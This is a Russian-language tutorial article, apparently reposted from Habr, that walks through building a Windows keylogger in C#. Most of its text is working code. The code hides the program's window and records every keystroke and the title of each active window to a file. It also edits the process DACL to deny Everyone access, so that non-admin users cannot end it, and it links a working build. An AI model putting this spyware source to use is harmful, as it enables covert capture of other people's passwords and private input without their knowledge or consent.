Keylogger для Windows с изменением прав в DACL

от автора

Здесь будет рассмотрено создание Keylogger на базе .Net C# с вызовами системных функций. Сами системные функции в кратце описываются, но лучше прочитать официальную документацию от Microsoft. Ссылка на репозиторий с рабочей сборкой приведена в конце, так же как и ссылка на доккументацию.

Что будет реализовано:

  • Логирование ввода с клавиатуры.
  • Логирование активного окна.
  • Блокировка процесса от пользователя без привилегий администратора.
  • Остановка процесса по сочетанию клавиш.


Для написания понадобится C#, знание Win API и DACL Windows.

Итак, разберем несколько типов системных кодов, которые будут необходимы, каждый тип будет храниться в отдельном Enum.

Типы хуков (hooks).

public enum HookTypes { 	WH_CALLWNDPROC = 4, 	WH_CALLWNDPROCRET = 12, 	WH_KEYBOARD = 2, 	WH_KEYBOARD_LL = 13, 	WH_MOUSE = 7, 	WH_MOUSE_LL = 14, 	WH_JOURNALRECORD = 0, 	WH_JOURNALPLAYBACK = 1, 	WH_FOREGROUNDIDLE = 11, 	WH_SYSMSGFILTER = 6, 	WH_GETMESSAGE = 3, 	WH_CBT = 5, 	WH_HARDWARE = 8, 	WH_DEBUG = 9, 	WH_SHELL = 10, } 

Чтобы отлавливать все события, связанные с клавиатурой, нужен тип WH_KEYBOARD_LL. Все остальные типы хуков требуют реализации отдельных DLL, кроме еще одного хука WH_MOUSE_LL — события связанные с мышью.

Типы событий связанные с клавиатурой, нажатие и отпускание клавиши.

public enum KeyboardEventTypes { 	WM_KEYDOWN = 0x0100, 	WM_KEYUP = 0x0101, } 

Будем записывать вводимые символы по отпусканию клавиши — WM_KEYUP.

Отдельно типы для отлавливания перехода пользователя с одного окна приложения на другое.

public class WinEventTypes { 	public const uint WINEVENT_OUTOFCONTEXT = 0; 	public const uint EVENT_SYSTEM_FOREGROUND = 3; } 

Enum для того чтобы задействовать сочетание клавиш на отключение программы.

	 public enum CombineKeys { 	MOD_ALT = 0x1, 	MOD_CONTROL = 0x2, 	MOD_SHIFT = 0x4, 	MOD_WIN = 0x8, 	WM_HOTKEY = 0x0312, } 

Для того чтобы реализовать все пункты сначала создаем Форму и прячем ее от пользователя. Достаточно переопределить базовый метод SetVisibleCore.

protected override void SetVisibleCore(bool value) { 	base.SetVisibleCore(false); } 

Форма будет запускаться при старте программы.

Application.Run(HiddenForm);

Есть форма и теперь нужно добавить главную функцию — перехват ввода с клавиатуры. Используем Win API метод SetWindowsHookEx, в качестве параметров будут передаваться:

  • Тип хука — WH_KEYBOARD_LL.
  • Функция обратного вызова, т.е. тот метод который должен обрабатывать все события связанные с клавиатурой.
  • Идентификатор текущего модуля.
  • Идентификатор потока — 0. Ноль чтобы хук ассоциировался со всеми потоками.

internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack) { 	using (Process currentProcess = Process.GetCurrentProcess()) 	using (ProcessModule currentModule = currentProcess.MainModule) 	{			 		return SetWindowsHookEx((int)typeOfHook, callBack, 			 GetModuleHandle(currentModule.ModuleName), 0); 	} } 

Сам метод который обрабатывает хук. В нем несколько параметров, nCode — для того чтобы понимать нужно ли обрабатывать текущее событие или сразу же передать дальше,
wParam — тип события (нажатие или отпускание клавиши), lParam — символ который сейчас нажат. По сути lParam это массив байтов, так что в нем хранится дополнительная информация, например, количество символов если пользователь удерживает клавишу а машина, на которой происходит обработка, медленная.

internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam) { 	if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP) 	{ 		int vkCode = Marshal.ReadInt32(lParam); 		SetKeysState(); 		var saveText = GetSymbol((uint)vkCode); 		File.AppendAllText(_fileName, saveText); 	} 	return CallNextHookEx(HookId, nCode, wParam, lParam); } 

Данная реализация записывает символ только после того как пользователь отпустил клавишу. Чтобы записать количество символов, нужно имплементировать случай с типом WM_KEYDOWN.

SetKeysState метод служит для того чтобы знать в каком состояние находятся дополнительные клавиши, например клавиши влияющие на регистр.

private static void SetKeysState() { 	_capsLock = GetKeyState((int)Keys.CapsLock) != 0; 	_numLock = GetKeyState((int)Keys.NumLock) != 0; 	_scrollLock = GetKeyState((int)Keys.Scroll) != 0; 	_shift = GetKeyState((int)Keys.ShiftKey) != 0; } 

GetKeyState — это еще один метод Win API, через который можно узнать состояние по коду клавиши.

private static string GetSymbol(uint vkCode) { 	var buff = new StringBuilder(maxChars); 	var keyboardState = new byte[maxChars]; 	var keyboard = GetKeyboardLayout( 					GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)); 	ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard); 	var buffSymbol = buff.ToString(); 	var symbol = buffSymbol.Equals("\r")  		? Environment.NewLine  		: buffSymbol; 	if (_capsLock ^ _shift) 		symbol = symbol.ToUpperInvariant(); 	return symbol; } 

В методе GetSymbol, сначала запрашивается код раскладки клавиатуры GetKeyboardLayout текущего окна, и затем ToUnicodeEx чтобы получить символ, оба Win API методы. Если задействованы клавиши влияющие на регистр то символ необходимо привести к верхнему регистру.

Этого будет достаточно для логирования ввода с клавиатуры. Но чтобы записывать текущее активное окно нужно использовать другой хук.

internal IntPtr SetWinHook(WinEventProc callBack) { 	using (Process currentProcess = Process.GetCurrentProcess()) 	using (ProcessModule currentModule = currentProcess.MainModule) 	{ 		return SetWinEventHook( 			WinEventTypes.EVENT_SYSTEM_FOREGROUND,  			WinEventTypes.EVENT_SYSTEM_FOREGROUND,  			GetModuleHandle(currentModule.ModuleName),  			callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT); 	}			 } 

Тип EVENT_SYSTEM_FOREGROUND нужен для того чтобы отслеживать изменение активного окна. А WINEVENT_OUTOFCONTEXT указывает на то что callBack метод находится в нашем приложении.

Метод передаваемый в цепочку хуков содержит множество параметров, которые могут быть полезны при более детальной реализации, для этого случая достаточно узнать активное окно и его заголовок.

internal static void ActiveWindowsHook( 			IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) { 		File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}"); } 

То есть каждое событие смены окна будет записываться. И в GetActiveWindowTitle достаточно использовать пару Win API методов GetForegroundWindow — узнать идентификатор текущего активного окна, после запросить заголовок с помощью GetWindowText.

private static string GetActiveWindowTitle() { 	var buff = new StringBuilder(maxChars); 	var handle = GetForegroundWindow();  	if (GetWindowText(handle, buff, maxChars) > 0) 	{ 		return buff.ToString(); 	} 	return null; } 

До этого момента все вызовы системных функций были взяты из библиотеки User32 и Kernel32. На следующем шаге понадобится библиотека advapi32.

Третий шаг заключается в том чтобы не дать обычному пользователя завершить процесс записи ввода с клавиатуры. Сначала необходимо получить дескриптор данного процесса а потом его изменить, добавив запись в DACL.

internal void BlockForNotAdminUsers() { 	var hProcess = Process.GetCurrentProcess().Handle; 	var securityDescriptor = GetProcessSecurityDescriptor(hProcess); 	var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid;  	securityDescriptor.DiscretionaryAcl.InsertAce( 			0, 			new CommonAce( 				AceFlags.None, 				AceQualifier.AccessDenied, 				(int)ProcessAccessRights.PROCESS_ALL_ACCESS, 				new SecurityIdentifier(WellKnownSidType.WorldSid, sid), 				false, 				null));  	SetProcessSecurityDescriptor(hProcess, securityDescriptor); } 

Получение дескриптора процесса происходит через GetKernelObjectSecurity, метод вызывается два раза, сначала получаем длину дескриптора, а вторым вызовом получаем непосредственно дескриптор процесса.

private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) { 	var psd = new byte[0]; 	GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded); 	if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue) 		throw new Win32Exception(); 	if (!GetKernelObjectSecurity( 			processHandle, 			DACL_SECURITY_INFORMATION, 			psd = new byte[bufSizeNeeded], 			bufSizeNeeded, 			out bufSizeNeeded)) 		throw new Win32Exception(); 	return new RawSecurityDescriptor(psd, 0); } 

После изменения дескриптора нужно внести эту информацию в текущий процесс. Достаточно передать идентификатор и дескриптор процесса в системный метод SetKernelObjectSecurity.

private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor) {			 	var rawsd = new byte[securityDescriptor.BinaryLength]; 	securityDescriptor.GetBinaryForm(rawsd, 0); 	if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd)) 		throw new Win32Exception(); } 

Завершающий этап — остановка процесса по сочетанию клавиш.

internal static int SetHotKey(Keys key, IntPtr handle) { 	int modifiers = 0; 	if ((key & Keys.Alt) == Keys.Alt) 		modifiers |= (int)CombineKeys.MOD_ALT; 	if ((key & Keys.Control) == Keys.Control) 		modifiers |= (int)CombineKeys.MOD_CONTROL; 	if ((key & Keys.Shift) == Keys.Shift) 		modifiers |= (int)CombineKeys.MOD_SHIFT; 	Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt; 	var keyId = key.GetHashCode(); 	RegisterHotKey(handle, keyId, modifiers, (int)keys); 	return keyId;			 } 

Здесь key это сочетание клавиш, а handle идентификатор спрятанной формы. Чтобы распознать сочетание клавиш на форме создается keyId, по которому можно проверять срабатывание комбинации клавиш. И все это записываем через Win API метод RegisterHotKey.

И чтобы наконец остановить процесс переопределяем метод WndProc в форме.

protected override void WndProc(ref Message m) { 	if (m.Msg == (int)CombineKeys.WM_HOTKEY) 	{ 		if ((int)m.WParam == KeyId) 		{ 			UnregisterHotKey(Handle, KeyId); 			Application.Exit(); 		} 	} 	base.WndProc(ref m); } 

Полезные ссылки:

Ссылка на репозиторий
Ссылка на документацию MS.


ссылка на оригинал статьи https://habr.com/ru/post/482644/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *